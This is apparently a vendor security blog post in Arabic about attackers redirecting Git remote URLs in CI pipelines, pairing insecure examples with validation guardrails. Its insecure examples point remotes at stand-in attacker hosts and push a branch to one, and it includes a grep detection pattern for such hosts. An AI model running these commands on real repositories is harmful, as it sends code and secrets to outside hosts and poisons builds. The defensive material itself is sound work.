شعار Xygeni باللون الأبيض
بدء مجانا
كتاب التجريبي
git remote set-url - git set url for remote - git add remote

عندما يصبح عنوان URL البعيد لـ Git خطرًا على سلسلة التوريد

جدول المحتويات

منشورات يجب قراءتها

المخاطر الخفية وراء أمر Git البسيط

بالنسبة لمعظم المطورين، تشغيل أمر مثل git remote set-url origin يبدو الأمر روتينيًا، مجرد خطوة إضافية في الحفاظ على إعدادات Git. تُنفّذ نصوص CI أيضًا أوامر مثل git remote set-url، أو Git set url for remote، أو Git remote add to fetch or push code أثناء عمليات البناء. لكن هنا تكمن المخاطرة: إذا قام أحد المهاجمين بالتلاعب بهذا التكوين (محليًا أو في CI)، فيمكنه إعادة توجيه المصدر الخاص بك إلى مستودع ضار، أو اعتراض بيانات الاعتماد، أو حقن برامج ضارة لسلسلة التوريد.

مثال على كيفية استخدامه عادةً:

# الاستخدام المشروع

أصل مجموعة عنوان URL البعيدة لـ git https://github.com/org/project.git

⚠️ مثال غير آمن، لأغراض تعليمية فقط. لا يُستخدم في الإنتاج.

				
					# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git

تأمين الإصدار وتثبيته والتحقق من أصل المستودع

				
					# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.

لماذا؟ إذا تم تحويل جهاز التحكم عن بُعد إلى مضيف يتحكم فيه المهاجم، فإن كل عملية جلب/دفع لاحقة من git تشير إلى شيفرة ضارة. برمج مصادر موثوقة بشكل ثابت قدر الإمكان، وتجنب عناوين URL الديناميكية غير المُعتمدة.

كيف يؤثر التلاعب عن بعد على البناء Pipeline

قد يكون لعنوان URL البعيد المعدل لـ Git عواقب وخيمة في العمليات الآلية pipelineحيث يتم الوثوق بالبرامج النصية ضمنيًا.

سيناريو مثال:

  • يستخدم البرنامج النصي CI الأمر git remote set-url لإعادة تكوين المستودعات بشكل ديناميكي.
  • يتم حقن متغير بيئة مخترق (على سبيل المثال، رمز أو عنوان URL للمستودع) في البرنامج النصي.
  • يقوم البناء بجلب أو دفع الكود إلى مستودع ضار.
  • يقوم المهاجم بإدخال أبواب خلفية أو تبعيات متلاعب بها.

⚠️ مثال غير آمن، لأغراض تعليمية فقط. لا يُستخدم في الإنتاج.

				
					# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
  - name: Set remote
    run: git remote set-url origin $REPO_URL
  - name: Build and deploy
    run: npm install && npm run build

إصدار آمن، قم بالتحقق من صحة $REPO_URL قبل الاستخدام (القائمة البيضاء / التحقق من xygeni).

				
					# ✅ CI/CD pipeline with validation guardrail
steps:
  - name: Validate REPO_URL
    run: |
      # Educational note: never accept raw URLs without validation.
      if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
        echo "Untrusted repo origin: $REPO_URL" && exit 1
      fi
  - name: Set remote (safe)
    run: git remote set-url origin "$REPO_URL"
  - name: Build and deploy
    run: npm ci && npm run build

لماذا: التحقق من صحة عناوين URL للمستودعات الواردة مقابل القائمة البيضاء المُدارة (أو الاستخدام xygeni verify --git-origin) قبل التصرف بناءً عليها. هذا يمنع المهاجمين من تجاوز متغيرات البيئة لإعادة التوجيه pipelines.

اكتشاف التغييرات غير المصرح بها في التكوين عن بعد

لا يُنبهك Git عند تعديل جهاز التحكم عن بُعد. المراقبة الاستباقية لـ .git/config والتحقق من سلامة البناء قبل البناء أمر ضروري.

تقنيات الكشف العملية

  • فحص تكوين Git:

     
    git remote -v

    قم بمقارنة المخرجات بعناوين URL المتوقعة والمخزنة في خط أساس آمن.

  • التحقق من صحة .git/config نزاهة:

     
    sha256sum .git/config

    قم بمقارنة مجموع الاختبار مع خط الأساس الموثوق به.

  • التحقق القائم على CI:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

ملاحظة تعليمية: لا تُشغِّل عمليات التحقق من السلامة أو أوامر التحقق مع وجود بيانات اعتماد طويلة الأمد مكشوفة في السجلات أو في بيئات غير محمية. استخدم بيانات اعتماد مؤقتة، وأسرارًا سرية، وتجنب تنفيذ أوامر التحقق كمستخدم ذي امتيازات، قدر الإمكان.

نصيحة الكشف: ابحث عن أجهزة التحكم عن بعد التي تشير إلى المجالات غير الأساسية (غير متوقعة .net, .ioعناوين IP)، أو أسماء مكررة عن بُعد، أو متغيرات بيئية تتحكم بعناوين URL للمستودعات دون التحقق من صحتها. يمنع الكشف المبكر git set-url التلاعب من خلال البناء الملوث.

CI/CD الأمان بواسطة Xygeni

تأمين أصول المستودع باستخدام Guardrails والتحقق من صحة التجزئة

الوقاية تعني فرض ضوابط صارمة على المستودعات التي تقوم بالبناء منها. Guardrails تشمل التوقيع، والتحقق من صحة التجزئة، وتقييد من يمكنه تعديل متغيرات CI.

ممارسات آمنة لضمان سلامة المستودع

تثبيت عناوين URL لمستودعات البيانات، ومصادر موثوقة مبرمجة بشكل ثابت حيثما كان ذلك ممكنًا:

				
					# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD

التحقق من صحة تجزئات المستودع:

تأكد من أن HEAD يتطابق مع التجزئة المتوقعة قبل البناء.

⚠️ مثال غير آمن، طباعة الرموز في السجلات (لا تستخدم في الإنتاج).

				
					# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"

إصدار آمن، وقراءة الأسرار من الخزنة، وعدم الطباعة مطلقًا

				
					# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.

قائمة تحقق صغيرة: إدارة Git عن بُعد بشكل آمن

دمج التحقق من صحة عنوان URL لـ Git Remote Set في CI/CD Pipelines

إضافة guardrails والتحقق الآلي لإيقاف التلاعب عن بعد في وقت مبكر pipeline.

مثال على الحاجز الواقي: التحقق من وجود أجهزة تحكم عن بعد مكررة أو غير مصرح بها

				
					# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
  - name: Check remotes
    run: |
      git remote -v > /tmp/remotes.txt
      if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
        echo "Unauthorized remote detected" && exit 1
      fi
      # Validate current origin matches expected
      if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
        echo "Origin verification failed" && exit 1
      fi

تعزيز الحماية ضد التلاعب بسلسلة التوريد في البيئات المشتركة

تُعدّ أدوات التشغيل المشتركة والأوامر البعيدة المسموحة عالية الخطورة. تجنّب الأوامر التي تُضيف أدوات تشغيل بعيدة غير مُعتمدة أثناء تشغيل المهمة.

⚠️ مثال غير آمن، إضافة مهاجم عن بعد (لا تستخدمه).

				
					# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git

إصدار آمن، يقتصر على المجالات المعتمدة ويستخدم –set-url فقط للمصادر المعتمدة

				
					# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
  git remote add backup "$REMOTE_URL"
else
  echo "Refusing to add unapproved remote" && exit 1
fi

ملاحظة: تفضيل المشغلين المؤقتين وتجنب ذاكرة التخزين المؤقت المشتركة المستمرة بين الوظائف.

ملاحظة بشأن برامج التشغيل: استخدم برامج تشغيل مؤقتة ومعزولة تُعاد إنشاؤها لكل مهمة. يمكن للأقراص أو ذاكرات التخزين المؤقت المشتركة الاحتفاظ بالملفات المُعَدَّلة عبر عمليات البناء.

دمج عنوان URL الخاص بـ Git للتحقق عن بعد في CI/CD Pipelines

إن تأمين استخدام git set-url عن بعد لا يقتصر على الفحوصات اليدوية؛ بل يتعلق بالأتمتة. يمكن لسير عمل DevSecOps الحديثة دمج التحقق مباشرةً في CI/CD pipelines.

مثال: التحقق التلقائي من سلامة البيانات عن بُعد

				
					stages:
  - validate
  - build


validate-repo:
  script:
    - echo "Validating repository origin..."
    - xygeni enforce --policy git-origin.yaml
    - xygeni scan --detect-remote-tampering

يضمن هذا التكوين أنه قبل تشغيل أي عملية بناء أو نشر، pipeline التحقق من صحة:

  • يتطابق عنوان URL للمستودع مع القيمة المتوقعة.
  • Commit التوقيعات صالحة.
  • لم تتم إضافة أي أجهزة تحكم عن بعد غير متوقعة باستخدام git add remote.

عناصر التحكم الإضافية في CI

  • Pre-commit hooks:تأكد من عدم وجود أي شيء غير مصرح به git set-url عن بعد الأوامر موجودة في commits.
  • إنفاذ السياسة ككود: تحديد الأصول المسموح بها كجزء من السياسات التي يتم التحكم في إصدارها.
  • انعكاس التبعية: سحب الكود من المرايا الداخلية التي تم التحقق منها بدلاً من مصادر الإنترنت المباشرة.

أتمتة هذه الفحوصات لا يمنع فقط التكوينات الخاطئة، بل يكتشف أيضًا محاولات التلاعب بسلسلة التوريد قبل شحن التعليمات البرمجية.

تعزيز الحماية ضد التلاعب بسلسلة التوريد في البيئات المشتركة

تُضيف بيئات التشغيل المشتركة أو بيئات تكامل النظام المؤقتة مخاطر إضافية. عند مشاركة موارد عدة إصدارات، يُمكن استغلال أوامر git remote set-url أو git add remote للحفاظ على عمليات تشغيل عن بُعد ضارة عبر الجلسات.

سيناريوهات الهجوم الشائعة

يضيف البرنامج النصي للبناء المخترق رمزًا جديدًا بعيدًا لدفعه إلى مستودع المهاجم:

 git إضافة نسخة احتياطية عن بعد https://attacker.example.com/repo.git

git push النسخ الاحتياطي الرئيسي

  • يتم تشغيل مشروع آخر على نفس وكيل CI لجلب البيانات من هذه الحالة الملوثة.
  • تتسرب البيانات الحساسة مثل الرموز أو عناصر البناء عبر عمليات دفع غير مصرح بها.

تدابير التصلب

  • العدائين المؤقتين: إعادة تعيين بيئات CI بعد كل عملية بناء.
  • عزل الشبكة: تقييد حركة المرور الصادرة على المجالات المعتمدة.
  • الامتياز الأقل: تحديد الأذونات لعمليات Git في pipelines.
  • توقيع القطع الأثرية: تأكد من أن جميع مخرجات البناء موقعة وموثقة تشفيريًا.

من خلال الجمع بين العزل والتحقق والمراقبة، يمكن للفرق تحييد الهجمات التي تستغل عنوان URL الخاص بـ git للتلاعب عن بعد.

التحقق من صحة ثقة المستودع ومراقبتها وأتمتتها

يمكن لخطأ واحد في استخدام عنوان URL لـ Git عن بُعد أو خطأ في استخدام Git Add عن بُعد غير مُتحقق منه أن يُعيد توجيه عملية البناء بأكملها إلى مستودع مُتحكم به من قِبل مُهاجم. أصبح الخط الفاصل بين الإنتاجية والاختراق في DevOps أرق من أي وقت مضى، و هجمات سلسلة توريد البرمجيات استغل ذلك بالضبط.

للحفاظ على الثقة فيك pipelines:

منصات مثل زيجيني مساعدة فرق DevSecOps على اكتشاف التكوينات الخاطئة عن بعد، ومراقبة حدود ثقة المستودع، ومنع مخاطر سلسلة التوريد الناجمة عن إساءة استخدام Git، قبل أن تتاح الفرصة لأجهزة التحكم عن بعد الضارة لنشر التعليمات البرمجية.

ثق بسير عملك، ولكن تحقق من مصدره. بهذه الطريقة، ستتجنب أن يصبح git remote set-url خرقًا أمنيًا قادمًا.

ابدأ منصة Xygeni المجانية
أدوات تحليل التركيبات البرمجية sca
إعطاء الأولوية للمخاطر التي تتعرض لها برامجك، ومعالجتها، وتأمينها
احصل على حسابك المجاني.
أي بطاقة ائتمان.
إشترك مجانا

احمِ عملية تطوير وتسليم برامجك

مع مجموعة منتجات Xygeni

بدء مجانا
قم بجولة المنتج